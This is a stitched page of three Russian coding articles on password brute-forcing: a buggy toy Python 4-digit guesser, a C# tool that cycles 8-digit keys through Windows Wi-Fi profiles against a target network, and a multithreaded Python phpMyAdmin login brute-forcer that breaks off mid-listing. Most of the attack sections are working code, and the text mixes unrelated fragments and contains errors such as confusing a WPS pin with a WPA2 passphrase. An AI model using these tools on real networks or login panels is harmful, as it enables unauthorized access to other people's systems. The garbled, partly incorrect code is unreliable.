Кодинг
49,276
Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.
Еще по теме: Взлом WiFi на Python
Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.
Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.
Далее, надо определиться с переменными. Нам нужны 6.
correctPassword = «1234» # Вводим пароль, который нужно забрутить wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться password = «» # В эту переменную будет записываться сгенерированный пароль, и, если он ложный, пойдет в wrongPassword length = 4 # Длина пароля. Эта переменная нужна будет в будущем chars = «1234567890» # Символы, из которых будет генерироваться пароль. run = True # Думаю, не стоит объяснять |
Вот и все необходимые переменные.
Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password
Переходим к самому интересному — генерации и перебору паролей.
Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.
for i in range(length): password += random.choise(chars) |
Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.
if password not in wrongPasswords: print(password) if password != correctPassword: wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Вот и все! Все работает!
Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.
Весь код полностью:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import random correctPassword = «1234» wrongPasswords = [] password = «» length = 4 chars = «12e4567890» run = True while run: password = «» for i in range(length): password += random.choise(chars) if password not in wrongPasswords: if password != correctPassword: print(password) wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Еще по теме: Простой кейлоггер на Python
ВКонтакте
OK
Telegram
Viber
Время на прочтение
7 мин
Количество просмотров 44K
Надежные и постоянно меняющиеся пароли — это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#
Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы «брутфорс» (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.
Итак
Самый скучный но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:
-
ст. 272 УК РФ. Неправомерный доступ к компьютерной информации
-
ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ
-
ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений
-
ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации
Взламывать чужие Wi-Fi роутеры — это очень плохая идея.
Тем не менее, в качестве «proof of concept» попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.
Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта — об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.
Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API — далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.
Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:ProgramDataMicrosoftWlansvcProfilesInterfaces и выбрать адаптер по его Id — узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд — этот способ более удобен для точечного вытаскивания профиля к нужной сети:
netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:WlanProfiles
Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем — так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.
В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция «sharedKey», поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более «промышленного» решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.
С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что «9 женщин не родят ребенка за месяц», ведь использование 9 адаптеров сократит подбор пароля до 257 дней — почти 9 месяцев
Шаг 1 — Подготовка решения
Для начала склониуйте проект ManagedWiFi — это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API — последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.
Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение — у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.
Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:
WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
foreach (Wlan.WlanAvailableNetwork network in networks)
{
string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
Console.WriteLine(ssid);
}
}
Шаг 2 — профиль для Wi-Fi
Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:
string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");
string profileXml = string.Format(
"<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
profileName, hex, key);
Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:
try
{
wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
await Task.Delay(2 * 1000);
}
catch (Exception e)
{
Console.WriteLine(e);
}
Шаг 3
Соберем все что получилось в одном месте и попробуем запустить:
using System.Text;
using NativeWifi;
// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
OutputExtensions.PrintRow("No networks found");
return;
}
// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
.FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");
// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");
// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
string wpsPin = $"{i}";
wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
Console.WriteLine($"Trying pin {wpsPin}");
string profileXml = string.Format(
"<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
profileName, hex, wpsPin);
try
{
wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
// Тут задается время ожидания для попытки
// В моей конфигурации это 2 секунды, но
// время придется подбирать вручную
await Task.Delay(2 * 1000);
}
catch (Exception e)
{
Console.WriteLine(e);
}
if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
{
Console.WriteLine($"WPS pin is {wpsPin}");
break;
}
Console.WriteLine($"WPS pin {wpsPin} did not work");
}
Вместо заключения
Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.
Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к «правильной» сети.
В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры — это очень плохая идея.
Вступление
Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для подбора паролей к панели авторизации на замечательном языке Python3.
Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.
Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.
Что же такое брутфорс атака? Как говорит нам один известный поисковик — брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.
Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.
Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже изменённые, повторяем до тех пор пока ответ нас не устроит.
Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.
Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.
Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр «set_session» и «token» меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.
Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.
Нам понадобятся следующие библиотеки:
Код:
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Устанавливаем их:
Код:
pip install requests && pip install bs4 && pip install lxml
Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.
Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
- Нужно получить «set_session» и еще некоторые данные, а именно «token» и «server«.
- Механизм попытки авторизации.
- Получить аргументы командной строки (параметры такие как «имя пользователя», «url» и «лист паролей») которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
- Реализовать сам алгоритм перебора паролей.
- Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
- TargetData — для получение данных от панели PhpMyAdmin.
- PhpMyAdminAuthorization — с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
- UserArgument — который будет работать с пользовательскими данными.
- BruteForceAttack — как не удивительно, класс который будет реализовывать методы для брутфорса.
- Threads — для методов реализации многопоточности.
Затем импортируем библиотеки:
Python:
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.
Далее немного библиотеки «requests» в которой говорится, что объект «Session» позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе «token» и «server».
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
- Они возвращают разные данные.
- Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
- Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
Python:
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это «url»,» user_name» и «user_password».
Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием «php_my_admin_url»:
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса «TargetData» от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
Python:
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
И добавим нашему классу «PhpMyAdminAuthorization» еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение «True» или «False» в зависимости от того, есть ли в результате авторизации строка «Cannot log in to the MySQL server», если нет, то «True» и «False» во всех остальных случаях.
Python:
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.
Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
Первый метод у нас «add_arguments()» и он очень прост, добавляет аргументы к объекту «настройки пользователя для брутфорса»:
Python:
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
Следующий метод «check_valid_target_url()» — проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось — просим указать корректный лист паролей и проверяем его на валидность вновь:
Python:
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
Третий способ — это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
Python:
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
Теперь добавим нашему классу «UserArgument» еще несколько методов, все они возвращают нам те или иные значения:
Python:
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс «BruteForceAttack» и в конструктор кладем значение которые нам вернут методы из «UserArgument»:
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.
После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из «self.passwords_list[от — до]».
В цикле создаем экземпляр класса «PhpMyAdminAuthorization» с параметрами, которые мы получили из класса «UserArgument» и если его метод «get_result_authorization()» вернет нам «True», то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Остался еще
последний
(почти) штришок — многопоточность. Объявляем класс «Threads» и наследуем от класса «Thread» из библиотеки «Threading».
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
А пока добавим метод «run()», который будет вызывать класс «BruteForceAttack» экземпляр, которого мы создадим уже скоро:
Python:
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который назвал «StartProgram« с методом «main()».
Вот он:
Python:
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
А теперь поговорим о тех самых непонятных переменных «start_of_list» и «end_of_list» из класса «Threads».
В конструкторе класса «StartProgram» мы объявляем две переменные одна из которых является «integer» значением, которое нам возвращает метод «get_number_threads()» класса «UserArgument».
А вторая длинной значения которое возвращает его же метод «get_password_list()»
Дальше в методе «main()» класса «StartProgram» происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.
Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода «main() Threads» будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе «Threads» будет вызван поток для объекта «brute_force_attack». Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.
Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
И по традиции весь код целиком:
Python:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
